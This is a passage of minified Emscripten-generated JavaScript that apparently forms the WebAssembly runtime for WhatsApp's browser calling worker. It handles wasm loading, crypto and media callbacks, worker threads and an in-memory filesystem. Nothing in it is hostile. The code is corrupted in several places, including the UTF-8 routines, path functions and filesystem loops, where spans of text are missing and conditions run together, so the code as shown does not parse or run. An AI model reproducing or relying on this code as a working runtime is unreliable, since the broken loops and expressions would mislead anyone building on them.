b(t),t}var Ie="data:application/octet-stream;base64,";function Te(e){return e.startsWith(Ie)}function De(e){return e.startsWith("file://")}function xe(e){return function(){G(ce,"native function `"+e+"` called before runtime initialization");var t=q[e];return G(t,"exported native function `"+e+"` not found"),t.apply(null,arguments)}}var $e=(function(e){function t(){return e.apply(this,arguments)||this}return babelHelpers.inheritsLoose(t,e),t})(babelHelpers.wrapNativeSuper(Error)),Pe=(function(e){function t(){return e.apply(this,arguments)||this}return babelHelpers.inheritsLoose(t,e),t})($e),Ne=(function(e){function t(t){var n;n=e.call(this,t)||this,n.excPtr=t;var r=ln(t);return n.name=r[0],n.message=r[1],n}return babelHelpers.inheritsLoose(t,e),t})($e),Me=c;function we(e){if(e==Me&&O)return new Uint8Array(O);if(M)return M(e);throw"both async and sync fetching of the wasm failed"}function Ae(e){return!O&&(E||k)&&typeof fetch=="function"?fetch(e,{credentials:"same-origin"}).then(function(t){if(!t.ok)throw"failed to load wasm binary file at '"+e+"'";return t.arrayBuffer()}).catch(function(){return we(e)}):(u||(u=n("Promise"))).resolve().then(function(){return we(e)})}function Fe(e,t,n){return Ae(e).then(function(e){return WebAssembly.instantiate(e,t)}).then(function(e){return e}).then(n,function(e){F("failed to asynchronously prepare wasm: "+e),De(Me)&&F("warning: Loading from a file URI ("+Me+") is not supported in most browsers. See https://emscripten.org/docs/getting_started/FAQ.html#how-do-i-run-a-local-webserver-for-testing-why-does-my-program-stall-in-downloading-or-preparing"),ke(e)})}function Oe(e,t,n,r){return!e&&typeof WebAssembly.instantiateStreaming=="function"&&!Te(t)&&typeof fetch=="function"?fetch(t,{credentials:"same-origin"}).then(function(e){var o=WebAssembly.instantiateStreaming(e,n);return o.then(r,function(e){return F("wasm streaming compile failed: "+e),F("falling back to ArrayBuffer instantiation"),Fe(t,n,r)})}):Fe(t,n,r)}function Be(){var e={env:Ti,wasi_snapshot_preview1:Ti};function t(e,t){var n=e.exports;return q=n,cn(q._emscripten_tls_init),oe=q.__indirect_function_table,G(oe,"table not found in wasm exports"),he(q.__wasm_call_ctors),U=t,Ee("wasm-instantiate"),n}Le("wasm-instantiate");var n=y;function r(e){G(y===n,"the Module object should not be replaced during async compilation - perhaps the order of HTML elements is wrong?"),n=null,t(e.instance,e.module)}if(y.instantiateWasm)try{return y.instantiateWasm(e,t)}catch(e){F("Module.instantiateWasm callback failed with error: "+e),b(e)}return Oe(O,Me,e,r).catch(b),{}}function We(e,t,n){n===void 0&&(n=!0),Object.getOwnPropertyDescriptor(y,e)||Object.defineProperty(y,e,{configurable:!0,get:function(){var r=n?" (the initial value can be provided on Module, but after startup the value is only looked for on a local variable of that name)":"";ke("`Module."+e+"` has been replaced by `"+t+"`"+r)}})}function qe(e){Object.getOwnPropertyDescriptor(y,e)&&ke("`Module."+e+"` was supplied but `"+e+"` not included in INCOMING_MODULE_JS_API")}function Ue(e){return e==="FS_createPath"||e==="FS_createDataFile"||e==="FS_createPreloadedFile"||e==="FS_unlink"||e==="addRunDependency"||e==="FS_createLazyFile"||e==="FS_createDevice"||e==="removeRunDependency"}function Ve(e,t){typeof globalThis!="undefined"&&Object.defineProperty(globalThis,e,{configurable:!0,get:function(){dn("`"+e+"` is not longer defined by emscripten. "+t)}})}Ve("buffer","Please use HEAP8.buffer or wasmMemory.buffer");function He(e){typeof globalThis!="undefined"&&!Object.getOwnPropertyDescriptor(globalThis,e)&&Object.defineProperty(globalThis,e,{configurable:!0,get:function(){var t="`"+e+"` is a library symbol and not included by default; add it to your library.js __deps or to DEFAULT_LIBRARY_FUNCS_TO_INCLUDE on the command line",n=e;n.startsWith("_")||(n="$"+e),t+=" (e.g. -sDEFAULT_LIBRARY_FUNCS_TO_INCLUDE='"+n+"')",Ue(e)&&(t+=". Alternatively, forcing filesystem support (-sFORCE_FILESYSTEM) can export this for you"),dn(t)}}),Ge(e)}function Ge(e){Object.getOwnPropertyDescriptor(y,e)||Object.defineProperty(y,e,{configurable:!0,get:function(){var t="'"+e+"' was not exported. add it to EXPORTED_RUNTIME_METHODS (see the Emscripten FAQ)";Ue(e)&&(t+=". Alternatively, forcing filesystem support (-sFORCE_FILESYSTEM) can export this for you"),ke(t)}})}function ze(e){console.warn.apply(console,arguments)}function je(e,t){var n=t?jt(t):"";window.WhatsAppVoipWasmWorkerCompatibleCallbacks.onCallEvent({eventType:e,userData:"",eventDataJson:n})}function Ke(){var e=self.WhatsAppVoipWasmWorkerCompatibleCallbacks.getPersistentDirectoryPath();if(e){var t=It(e)+1,n=Ni(t);return Io(e,n,t),n}return null}function Qe(e,t){if(t==null){var n=new Error("get_random_bytes_js: rawBytesPtr is null");throw n.stack,n}var r=new Uint8Array(e),o=self.crypto.getRandomValues(r);ri(o,t)}function Xe(e,t,n,r,o,a){var i=d(),l=Number(t),s=Number(n),u=Number(r),c=Number(o),m=Number(e),p=i.subarray(l,l+s),_=new ArrayBuffer(s),f=new Uint8Array(_);f.set(p);var g=null;if(u&&c>0){var h=i.subarray(u,u+c),y=new ArrayBuffer(c),C=new Uint8Array(y);C.set(h),g=C}var b=jt(a),v=self.WhatsAppVoipWasmWorkerCompatibleCallbacks.cryptoHkdfExtractWithSaltAndExpand({key_:f,salt_:g,info_:b,length:m}),S=new Uint8Array(v),R=Ni(m);return ri(S,R),R}function Ye(e,t,n,r,o){var a=d(),i=Number(e),l=Number(t),s=Number(n),u=Number(r),c=Number(o),m=a.subarray(i,i+l),p=new ArrayBuffer(m.length),_=new Uint8Array(p);_.set(m);var f=a.subarray(s,s+u),g=new ArrayBuffer(f.length),h=new Uint8Array(g);h.set(f);var y=self.WhatsAppVoipWasmWorkerCompatibleCallbacks.hmacSha256KeyGenerator({data_:_,key_:h}),C=new Uint8Array(y),b=Ni(c);return ri(C,b),b}function Je(e){var t=jt(e);return window.WhatsAppVoipWasmWorkerCompatibleCallbacks.isParticipantKnownContact({jid:t})}function Ze(e,t,n,r,o,a,i,l,s){var u=d(),c=new Uint8Array(n);c.set(u.subarray(t,t+n));var m=jt(e);self.WhatsAppVoipWasmWorkerCompatibleCallbacks&&self.WhatsAppVoipWasmWorkerCompatibleCallbacks.onVideoFrameWasmToJs&&self.WhatsAppVoipWasmWorkerCompatibleCallbacks.onVideoFrameWasmToJs({userJid:m,frameBuffer:c.buffer,width:r,height:o,orientation:a,format:i,timestamp:l,isKeyFrame:s})}function et(e,t,n,r){var o=d(),a=new Uint8Array(r);a.set(o.subarray(n,n+r));var i=jt(t),l=jt(e);self.WhatsAppVoipWasmWorkerCompatibleCallbacks.onSignalingXmpp({peerJid:l,callId:i,xmlPayload:a})}function tt(e,t,n,r){var o=d(),a=o.length;if(e<0||e>=a||t<0||e+t>a)return ERROR(s||(s=babelHelpers.taggedTemplateLiteralLoose(["voip: call_sendto: Invalid buffer access - buf: ",", len: ",", heapSize: ",""])),e,t,a),-1;var i=o.subarray(e,e+t);return self.WhatsAppVoipWasmWorkerCompatibleCallbacks.sendDataToRelay({data:i,len:t,ip:jt(n),port:r})}function nt(e,t,n,r){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.initCaptureDriverJS({sample_rate:e,channels:t,bits_per_sample:n,frames_per_chunk:r})}function rt(){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.startCaptureJS()}function ot(){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.stopCaptureJS()}function at(e,t,n,r){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.initPlaybackDriverJS({sample_rate:e,channels:t,bits_per_sample:n,frames_per_chunk:r})}function it(){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.startPlaybackJS()}function lt(){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.stopPlaybackJS()}function st(e,t,n){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.startDesktopCaptureJS({width:e,height:t,max_fps:n})}function ut(){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.stopDesktopCaptureJS()}function ct(e,t,n,r){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.startVideoCaptureJS({camera_id:jt(e),width:t,height:n,max_fps:r})}function dt(){self.WhatsAppVoipWasmWorkerCompatibleCallbacks.stopVideoCaptureJS()}function mt(e,t){var n=t?jt(t).trim():"";self.WhatsAppVoipWasmWorkerCompatibleCallbacks.loggingCallback({level:e,message:n})}function pt(e){this.name="ExitStatus",this.message="Program terminated with exit("+e+")",this.status=e}var _t=function(t){t.terminate(),t.removeAllMessageListeners("cmd"),t.addMessageListener("cmd",function(e){var n=e.cmd;F('received "'+n+'" command from terminated worker: '+t.workerID)})};function ft(e){G(!D,"Internal Error! killThread() can only ever be called from main application thread!"),G(e,"Internal Error! Null pthread_ptr in killThread!");var t=en.pthreads[e];delete en.pthreads[e],_t(t),Xi(e),en.runningWorkers.splice(en.runningWorkers.indexOf(t),1),t.pthread_ptr=0}function gt(e){G(!D,"Internal Error! cancelThread() can only ever be called from main application thread!"),G(e,"Internal Error! Null pthread_ptr in cancelThread!");var t=en.pthreads[e];t.postMessage({cmd:"cancel",type:"cmd"})}function ht(e){G(!D,"Internal Error! cleanupThread() can only ever be called from main application thread!"),G(e,"Internal Error! Null pthread_ptr in cleanupThread!");var t=en.pthreads[e];G(t),en.returnWorkerToPool(t)}var yt=function(t,n){return d().fill(0,t,t+n),t};function Ct(e){G(!D,"Internal Error! spawnThread() can only ever be called from main application thread!"),G(e.pthread_ptr,"Internal error, no pthread ptr!");var t=en.getNewWorker();if(!t)return 6;G(!t.pthread_ptr,"Internal error!"),en.runningWorkers.push(t),en.pthreads[e.pthread_ptr]=t,t.pthread_ptr=e.pthread_ptr;var n={cmd:"run",start_routine:e.startRoutine,arg:e.arg,pthread_ptr:e.pthread_ptr};return t.postMessage(babelHelpers.extends({},n,{type:"cmd"}),e.transferList),0}var bt={isAbs:function(t){return t.charAt(0)==="/"},splitPath:function(t){var e=/^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;return e.exec(t).slice(1)},normalizeArray:function(t,n){for(var e=0,r=t.length-1;r>=0;r--){var o=t[r];o==="."?t.splice(r,1):o===".."?(t.splice(r,1),e++):e&&(t.splice(r,1),e--)}if(n)for(;e;e--)t.unshift("..");return t},normalize:function(t){var e=bt.isAbs(t),n=t.substr(-1)==="/";return t=bt.normalizeArray(t.split("/").filter(function(e){return!!e}),!e).join("/"),!t&&!e&&(t="."),t&&n&&(t+="/"),(e?"/":"")+t},dirname:function(t){var e=bt.splitPath(t),n=e[0],r=e[1];return!n&&!r?".":(r&&(r=r.substr(0,r.length-1)),n+r)},basename:function(t){if(t==="/")return"/";t=bt.normalize(t),t=t.replace(/\/$/,"");var e=t.lastIndexOf("/");return e===-1?t:t.substr(e+1)},join:function(){var e=Array.prototype.slice.call(arguments);return bt.normalize(e.join("/"))},join2:function(t,n){return bt.normalize(t+"/"+n)}},vt=function(){if(typeof crypto=="object"&&typeof crypto.getRandomValues=="function")return function(e){return e.set(crypto.getRandomValues(new Uint8Array(e.byteLength))),e};ke("no cryptographic support found for randomDevice. consider polyfilling it if you want to use something insecure like Math.random(), e.g. put this in a --pre-js: var crypto = { getRandomValues: (array) => { for (var i = 0; i < array.length; i++) array[i] = (Math.random()*256)|0 } };")},St=function(t){return(St=vt())(t)},Rt={resolve:function(){for(var e="",t=!1,n=arguments.length-1;n>=-1&&!t;n--){var r=n>=0?arguments[n]:zt.cwd();if(typeof r!="string")throw new TypeError("Arguments to path.resolve must be strings");if(!r)return"";e=r+"/"+e,t=bt.isAbs(r)}return e=bt.normalizeArray(e.split("/").filter(function(e){return!!e}),!t).join("/"),(t?"/":"")+e||"."},relative:function(t,n){t=Rt.resolve(t).substr(1),n=Rt.resolve(n).substr(1);function e(e){for(var t=0;t=0&&e[n]==="";n--);return t>n?[]:e.slice(t,n-t+1)}for(var r=e(t.split("/")),o=e(n.split("/")),a=Math.min(r.length,o.length),i=a,l=0;l=e);)++o;if(o-n>16&&t.buffer&&Lt)return Lt.decode(t.slice(n,o));for(var a="";n>10,56320|u&1023)}}return a},kt=[],It=function(t){for(var e=0,n=0;n=55296&&r<=57343?(e+=4,++n):e+=3}return e},Tt=function(t,n,r,o){if(G(typeof t=="string"),!(o>0))return 0;for(var e=r,a=r+o-1,i=0;i=55296&&l<=57343){var s=t.charCodeAt(++i);l=65536+((l&1023)<<10)|s&1023}if(l<=127){if(r>=a)break;n[r++]=l}else if(l<=2047){if(r+1>=a)break;n[r++]=192|l>>6,n[r++]=128|l&63}else if(l<=65535){if(r+2>=a)break;n[r++]=224|l>>12,n[r++]=128|l>>6&63,n[r++]=128|l&63}else{if(r+3>=a)break;l>1114111&&dn("Invalid Unicode code point "+Jt(l)+" encountered when serializing a JS string to a UTF-8 string in wasm memory! (Valid unicode code points should be in range 0-0x10FFFF)."),n[r++]=240|l>>18,n[r++]=128|l>>12&63,n[r++]=128|l>>6&63,n[r++]=128|l&63}}return n[r]=0,r-e};function Dt(e,t,n){var r=n>0?n:It(e)+1,o=new Array(r),a=Tt(e,o,0,o.length);return t&&(o.length=a),o}var xt=function(){if(!kt.length){var e=null;if(typeof window!="undefined"&&typeof window.prompt=="function"?(e=window.prompt("Input: "),e!==null&&(e+="\n")):typeof readline=="function"&&(e=readline(),e!==null&&(e+="\n")),!e)return null;kt=Dt(e,!0)}return kt.shift()},$t={ttys:[],init:function(){},shutdown:function(){},register:function(t,n){$t.ttys[t]={input:[],output:[],ops:n},zt.registerDevice(t,$t.stream_ops)},stream_ops:{open:function(t){var e=$t.ttys[t.node.rdev];if(!e)throw new zt.ErrnoError(43);t.tty=e,t.seekable=!1},close:function(t){t.tty.ops.fsync(t.tty)},fsync:function(t){t.tty.ops.fsync(t.tty)},read:function(t,n,r,o,a){if(!t.tty||!t.tty.ops.get_char)throw new zt.ErrnoError(60);for(var e=0,i=0;i0&&(A(Et(t.output,0)),t.output=[])},ioctl_tcgets:function(t){return{c_iflag:25856,c_oflag:5,c_cflag:191,c_lflag:35387,c_cc:[3,28,127,21,4,0,1,0,17,19,26,0,18,15,23,22,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}},ioctl_tcsets:function(t,n,r){return 0},ioctl_tiocgwinsz:function(t){return[24,80]}},default_tty1_ops:{put_char:function(t,n){n===null||n===10?(F(Et(t.output,0)),t.output=[]):n!=0&&t.output.push(n)},fsync:function(t){t.output&&t.output.length>0&&(F(Et(t.output,0)),t.output=[])}}},Pt=function(t,n){return G(n,"alignment argument is required"),Math.ceil(t/n)*n},Nt=function(t){t=Pt(t,65536);var e=Bi(65536,t);return e?yt(e,t):0},Mt={ops_table:null,mount:function(t){return Mt.createNode(null,"/",16895,0)},createNode:function(t,n,r,o){if(zt.isBlkdev(r)||zt.isFIFO(r))throw new zt.ErrnoError(63);Mt.ops_table||(Mt.ops_table={dir:{node:{getattr:Mt.node_ops.getattr,setattr:Mt.node_ops.setattr,lookup:Mt.node_ops.lookup,mknod:Mt.node_ops.mknod,rename:Mt.node_ops.rename,unlink:Mt.node_ops.unlink,rmdir:Mt.node_ops.rmdir,readdir:Mt.node_ops.readdir,symlink:Mt.node_ops.symlink},stream:{llseek:Mt.stream_ops.llseek}},file:{node:{getattr:Mt.node_ops.getattr,setattr:Mt.node_ops.setattr},stream:{llseek:Mt.stream_ops.llseek,read:Mt.stream_ops.read,write:Mt.stream_ops.write,allocate:Mt.stream_ops.allocate,mmap:Mt.stream_ops.mmap,msync:Mt.stream_ops.msync}},link:{node:{getattr:Mt.node_ops.getattr,setattr:Mt.node_ops.setattr,readlink:Mt.node_ops.readlink},stream:{}},chrdev:{node:{getattr:Mt.node_ops.getattr,setattr:Mt.node_ops.setattr},stream:zt.chrdev_stream_ops}});var e=zt.createNode(t,n,r,o);return zt.isDir(e.mode)?(e.node_ops=Mt.ops_table.dir.node,e.stream_ops=Mt.ops_table.dir.stream,e.contents={}):zt.isFile(e.mode)?(e.node_ops=Mt.ops_table.file.node,e.stream_ops=Mt.ops_table.file.stream,e.usedBytes=0,e.contents=null):zt.isLink(e.mode)?(e.node_ops=Mt.ops_table.link.node,e.stream_ops=Mt.ops_table.link.stream):zt.isChrdev(e.mode)&&(e.node_ops=Mt.ops_table.chrdev.node,e.stream_ops=Mt.ops_table.chrdev.stream),e.timestamp=Date.now(),t&&(t.contents[n]=e,t.timestamp=e.timestamp),e},getFileDataAsTypedArray:function(t){return t.contents?t.contents.subarray?t.contents.subarray(0,t.usedBytes):new Uint8Array(t.contents):new Uint8Array(0)},expandFileStorage:function(t,n){var e=t.contents?t.contents.length:0;if(!(e>=n)){var r=1024*1024;n=Math.max(n,e*(e>>0),e!=0&&(n=Math.max(n,256));var o=t.contents;t.contents=new Uint8Array(n),t.usedBytes>0&&t.contents.set(o.subarray(0,t.usedBytes),0)}},resizeFileStorage:function(t,n){if(t.usedBytes!=n)if(n==0)t.contents=null,t.usedBytes=0;else{var e=t.contents;t.contents=new Uint8Array(n),e&&t.contents.set(e.subarray(0,Math.min(n,t.usedBytes))),t.usedBytes=n}},node_ops:{getattr:function(t){var e={};return e.dev=zt.isChrdev(t.mode)?t.id:1,e.ino=t.id,e.mode=t.mode,e.nlink=1,e.uid=0,e.gid=0,e.rdev=t.rdev,zt.isDir(t.mode)?e.size=4096:zt.isFile(t.mode)?e.size=t.usedBytes:zt.isLink(t.mode)?e.size=t.link.length:e.size=0,e.atime=new Date(t.timestamp),e.mtime=new Date(t.timestamp),e.ctime=new Date(t.timestamp),e.blksize=4096,e.blocks=Math.ceil(e.size/e.blksize),e},setattr:function(t,n){n.mode!==void 0&&(t.mode=n.mode),n.timestamp!==void 0&&(t.timestamp=n.timestamp),n.size!==void 0&&Mt.resizeFileStorage(t,n.size)},lookup:function(t,n){throw zt.genericErrors[44]},mknod:function(t,n,r,o){return Mt.createNode(t,n,r,o)},rename:function(t,n,r){if(zt.isDir(t.mode)){var e;try{e=zt.lookupNode(n,r)}catch(e){}if(e)for(var o in e.contents)throw new zt.ErrnoError(55)}delete t.parent.contents[t.name],t.parent.timestamp=Date.now(),t.name=r,n.contents[r]=t,n.timestamp=t.parent.timestamp,t.parent=n},unlink:function(t,n){delete t.contents[n],t.timestamp=Date.now()},rmdir:function(t,n){var e=zt.lookupNode(t,n);for(var r in e.contents)throw new zt.ErrnoError(55);delete t.contents[n],t.timestamp=Date.now()},readdir:function(t){var e=[".",".."];for(var n in t.contents)Object.prototype.hasOwnProperty.call(t.contents,n)&&e.push(n);return e},symlink:function(t,n,r){var e=Mt.createNode(t,n,41471,0);return e.link=r,e},readlink:function(t){if(!zt.isLink(t.mode))throw new zt.ErrnoError(28);return t.link}},stream_ops:{read:function(t,n,r,o,a){var e=t.node.contents;if(a>=t.node.usedBytes)return 0;var i=Math.min(t.node.usedBytes-a,o);if(G(i>=0),i>8&&e.subarray)n.set(e.subarray(a,a+i),r);else for(var l=0;l0||r+n8)throw new zt.ErrnoError(32);for(var r=t.split("/").filter(function(e){return!!e}),o=zt.root,a="/",i=0;i40)throw new zt.ErrnoError(32)}}return{path:a,node:o}},getPath:function(t){for(var e;;){if(zt.isRoot(t)){var n=t.mount.mountpoint;return e?n[n.length-1]!=="/"?n+"/"+e:n+e:n}e=e?t.name+"/"+e:t.name,t=t.parent}},hashName:function(t,n){for(var e=0,r=0;r>>0)%zt.nameTable.length},hashAddNode:function(t){var e=zt.hashName(t.parent.id,t.name);t.name_next=zt.nameTable[e],zt.nameTable[e]=t},hashRemoveNode:function(t){var e=zt.hashName(t.parent.id,t.name);if(zt.nameTable[e]===t)zt.nameTable[e]=t.name_next;else for(var n=zt.nameTable[e];n;){if(n.name_next===t){n.name_next=t.name_next;break}n=n.name_next}},lookupNode:function(t,n){var e=zt.mayLookup(t);if(e)throw new zt.ErrnoError(e,t);for(var r=zt.hashName(t.id,n),o=zt.nameTable[r];o;o=o.name_next){var a=o.name;if(o.parent.id===t.id&&a===n)return o}return zt.lookup(t,n)},createNode:function(t,n,r,o){G(typeof t=="object");var e=new zt.FSNode(t,n,r,o);return zt.hashAddNode(e),e},destroyNode:function(t){zt.hashRemoveNode(t)},isRoot:function(t){return t===t.parent},isMountpoint:function(t){return!!t.mounted},isFile:function(t){return(t&61440)===32768},isDir:function(t){return(t&61440)===16384},isLink:function(t){return(t&61440)===40960},isChrdev:function(t){return(t&61440)===8192},isBlkdev:function(t){return(t&61440)===24576},isFIFO:function(t){return(t&61440)===4096},isSocket:function(t){return(t&49152)===49152},flagsToPermissionString:function(t){var e=["r","w","rw"][t&3];return t&512&&(e+="w"),e},nodePermissions:function(t,n){return zt.ignorePermissions?0:n.includes("r")&&!(t.mode&292)||n.includes("w")&&!(t.mode&146)||n.includes("x")&&!(t.mode&73)?2:0},mayLookup:function(t){var e=zt.nodePermissions(t,"x");return e||(t.node_ops.lookup?0:2)},mayCreate:function(t,n){try{var e=zt.lookupNode(t,n);return 20}catch(e){}return zt.nodePermissions(t,"wx")},mayDelete:function(t,n,r){var e;try{e=zt.lookupNode(t,n)}catch(e){return e.errno}var o=zt.nodePermissions(t,"wx");if(o)return o;if(r){if(!zt.isDir(e.mode))return 54;if(zt.isRoot(e)||zt.getPath(e)===zt.cwd())return 10}else if(zt.isDir(e.mode))return 31;return 0},mayOpen:function(t,n){return t?zt.isLink(t.mode)?32:zt.isDir(t.mode)&&(zt.flagsToPermissionString(n)!=="r"||n&512)?31:zt.nodePermissions(t,zt.flagsToPermissionString(n)):44},MAX_OPEN_FDS:4096,nextfd:function(){for(var e=0;e<=zt.MAX_OPEN_FDS;e++)if(!zt.streams[e])return e;throw new zt.ErrnoError(33)},getStreamChecked:function(t){var e=zt.getStream(t);if(!e)throw new zt.ErrnoError(8);return e},getStream:function(t){return zt.streams[t]},createStream:function(t,n){return n===void 0&&(n=-1),zt.FSStream||(zt.FSStream=function(){this.shared={}},zt.FSStream.prototype={},Object.defineProperties(zt.FSStream.prototype,{object:{get:function(){return this.node},set:function(t){this.node=t}},isRead:{get:function(){return(this.flags&2097155)!==1}},isWrite:{get:function(){return(this.flags&2097155)!==0}},isAppend:{get:function(){return this.flags&1024}},flags:{get:function(){return this.shared.flags},set:function(t){this.shared.flags=t}},position:{get:function(){return this.shared.position},set:function(t){this.shared.position=t}}})),t=Object.assign(new zt.FSStream,t),n==-1&&(n=zt.nextfd()),t.fd=n,zt.streams[n]=t,t},closeStream:function(t){zt.streams[t]=null},chrdev_stream_ops:{open:function(t){var e=zt.getDevice(t.node.rdev);t.stream_ops=e.stream_ops,t.stream_ops.open&&t.stream_ops.open(t)},llseek:function(){throw new zt.ErrnoError(70)}},major:function(t){return t>>8},minor:function(t){return t&255},makedev:function(t,n){return t<<8|n},registerDevice:function(t,n){zt.devices[t]={stream_ops:n}},getDevice:function(t){return zt.devices[t]},getMounts:function(t){for(var e=[],n=[t];n.length;){var r=n.pop();e.push(r),n.push.apply(n,r.mounts)}return e},syncfs:function(t,n){typeof t=="function"&&(n=t,t=!1),zt.syncFSRequests++,zt.syncFSRequests>1&&F("warning: "+zt.syncFSRequests+" FS.syncfs operations in flight at once, probably just doing extra work");var e=zt.getMounts(zt.root.mount),r=0;function o(e){return G(zt.syncFSRequests>0),zt.syncFSRequests--,n(e)}function a(t){if(t)return a.errored?void 0:(a.errored=!0,o(t));++r>=e.length&&o(null)}e.forEach(function(e){if(!e.type.syncfs)return a(null);e.type.syncfs(e,t,a)})},mount:function(t,n,r){if(typeof t=="string")throw t;var e=r==="/",o=!r,a;if(e&&zt.root)throw new zt.ErrnoError(10);if(!e&&!o){var i=zt.lookupPath(r,{follow_mount:!1});if(r=i.path,a=i.node,zt.isMountpoint(a))throw new zt.ErrnoError(10);if(!zt.isDir(a.mode))throw new zt.ErrnoError(54)}var l={type:t,opts:n,mountpoint:r,mounts:[]},s=t.mount(l);return s.mount=l,l.root=s,e?zt.root=s:a&&(a.mounted=l,a.mount&&a.mount.mounts.push(l)),s},unmount:function(t){var e=zt.lookupPath(t,{follow_mount:!1});if(!zt.isMountpoint(e.node))throw new zt.ErrnoError(28);var n=e.node,r=n.mounted,o=zt.getMounts(r);Object.keys(zt.nameTable).forEach(function(e){for(var t=zt.nameTable[e];t;){var n=t.name_next;o.includes(t.mount)&&zt.destroyNode(t),t=n}}),n.mounted=null;var a=n.mount.mounts.indexOf(r);G(a!==-1),n.mount.mounts.splice(a,1)},lookup:function(t,n){return t.node_ops.lookup(t,n)},mknod:function(t,n,r){var e=zt.lookupPath(t,{parent:!0}),o=e.node,a=bt.basename(t);if(!a||a==="."||a==="..")throw new zt.ErrnoError(28);var i=zt.mayCreate(o,a);if(i)throw new zt.ErrnoError(i);if(!o.node_ops.mknod)throw new zt.ErrnoError(63);return o.node_ops.mknod(o,a,n,r)},create:function(t,n){return n=n!==void 0?n:438,n&=4095,n|=32768,zt.mknod(t,n,0)},mkdir:function(t,n){return n=n!==void 0?n:511,n&=1023,n|=16384,zt.mknod(t,n,0)},mkdirTree:function(t,n){for(var e=t.split("/"),r="",o=0;o=0),o<0||a<0)throw new zt.ErrnoError(28);if(zt.isClosed(t))throw new zt.ErrnoError(8);if((t.flags&2097155)===1)throw new zt.ErrnoError(8);if(zt.isDir(t.node.mode))throw new zt.ErrnoError(31);if(!t.stream_ops.read)throw new zt.ErrnoError(28);var e=typeof a!="undefined";if(!e)a=t.position;else if(!t.seekable)throw new zt.ErrnoError(70);var i=t.stream_ops.read(t,n,r,o,a);return e||(t.position+=i),i},write:function(t,n,r,o,a,i){if(G(r>=0),o<0||a<0)throw new zt.ErrnoError(28);if(zt.isClosed(t))throw new zt.ErrnoError(8);if((t.flags&2097155)===0)throw new zt.ErrnoError(8);if(zt.isDir(t.node.mode))throw new zt.ErrnoError(31);if(!t.stream_ops.write)throw new zt.ErrnoError(28);t.seekable&&t.flags&1024&&zt.llseek(t,0,2);var e=typeof a!="undefined";if(!e)a=t.position;else if(!t.seekable)throw new zt.ErrnoError(70);var l=t.stream_ops.write(t,n,r,o,a,i);return e||(t.position+=l),l},allocate:function(t,n,r){if(zt.isClosed(t))throw new zt.ErrnoError(8);if(n<0||r<=0)throw new zt.ErrnoError(28);if((t.flags&2097155)===0)throw new zt.ErrnoError(8);if(!zt.isFile(t.node.mode)&&!zt.isDir(t.node.mode))throw new zt.ErrnoError(43);if(!t.stream_ops.allocate)throw new zt.ErrnoError(138);t.stream_ops.allocate(t,n,r)},mmap:function(t,n,r,o,a){if((o&2)!==0&&(a&2)===0&&(t.flags&2097155)!==2)throw new zt.ErrnoError(2);if((t.flags&2097155)===1)throw new zt.ErrnoError(2);if(!t.stream_ops.mmap)throw new zt.ErrnoError(43);return t.stream_ops.mmap(t,n,r,o,a)},msync:function(t,n,r,o,a){return G(r>=0),t.stream_ops.msync?t.stream_ops.msync(t,n,r,o,a):0},munmap:function(t){return 0},ioctl:function(t,n,r){if(!t.stream_ops.ioctl)throw new zt.ErrnoError(59);return t.stream_ops.ioctl(t,n,r)},readFile:function(t,n){if(n===void 0&&(n={}),n.flags=n.flags||0,n.encoding=n.encoding||"binary",n.encoding!=="utf8"&&n.encoding!=="binary")throw new Error('Invalid encoding type "'+n.encoding+'"');var e,r=zt.open(t,n.flags),o=zt.stat(t),a=o.size,i=new Uint8Array(a);return zt.read(r,i,0,a,0),n.encoding==="utf8"?e=Et(i,0):n.encoding==="binary"&&(e=i),zt.close(r),e},writeFile:function(t,n,r){r===void 0&&(r={}),r.flags=r.flags||577;var e=zt.open(t,r.flags,r.mode);if(typeof n=="string"){var o=new Uint8Array(It(n)+1),a=Tt(n,o,0,o.length);zt.write(e,o,0,a,void 0,r.canOwn)}else if(ArrayBuffer.isView(n))zt.write(e,n,0,n.byteLength,void 0,r.canOwn);else throw new Error("Unsupported data type");zt.close(e)},cwd:function(){return zt.currentPath},chdir:function(t){var e=zt.lookupPath(t,{follow:!0});if(e.node===null)throw new zt.ErrnoError(44);if(!zt.isDir(e.node.mode))throw new zt.ErrnoError(54);var n=zt.nodePermissions(e.node,"x");if(n)throw new zt.ErrnoError(n);zt.currentPath=e.path},createDefaultDirectories:function(){zt.mkdir("/tmp"),zt.mkdir("/home"),zt.mkdir("/home/web_user")},createDefaultDevices:function(){zt.mkdir("/dev"),zt.registerDevice(zt.makedev(1,3),{read:function(){return 0},write:function(t,n,r,o,a){return o}}),zt.mkdev("/dev/null",zt.makedev(1,3)),$t.register(zt.makedev(5,0),$t.default_tty_ops),$t.register(zt.makedev(6,0),$t.default_tty1_ops),zt.mkdev("/dev/tty",zt.makedev(5,0)),zt.mkdev("/dev/tty1",zt.makedev(6,0));var e=new Uint8Array(1024),t=0,n=function(){return t===0&&(t=St(e).byteLength),e[--t]};zt.createDevice("/dev","random",n),zt.createDevice("/dev","urandom",n),zt.mkdir("/dev/shm"),zt.mkdir("/dev/shm/tmp")},createSpecialDirectories:function(){zt.mkdir("/proc");var e=zt.mkdir("/proc/self");zt.mkdir("/proc/self/fd"),zt.mount({mount:function(){var t=zt.createNode(e,"fd",16895,73);return t.node_ops={lookup:function(t,n){var e=+n,r=zt.getStreamChecked(e),o={parent:null,mount:{mountpoint:"fake"},node_ops:{readlink:function(){return r.path}}};return o.parent=o,o}},t}},{},"/proc/self/fd")},createStandardStreams:function(){y.stdin?zt.createDevice("/dev","stdin",y.stdin):zt.symlink("/dev/tty","/dev/stdin"),y.stdout?zt.createDevice("/dev","stdout",null,y.stdout):zt.symlink("/dev/tty","/dev/stdout"),y.stderr?zt.createDevice("/dev","stderr",null,y.stderr):zt.symlink("/dev/tty1","/dev/stderr");var e=zt.open("/dev/stdin",0),t=zt.open("/dev/stdout",1),n=zt.open("/dev/stderr",1);G(e.fd===0,"invalid handle for stdin ("+e.fd+")"),G(t.fd===1,"invalid handle for stdout 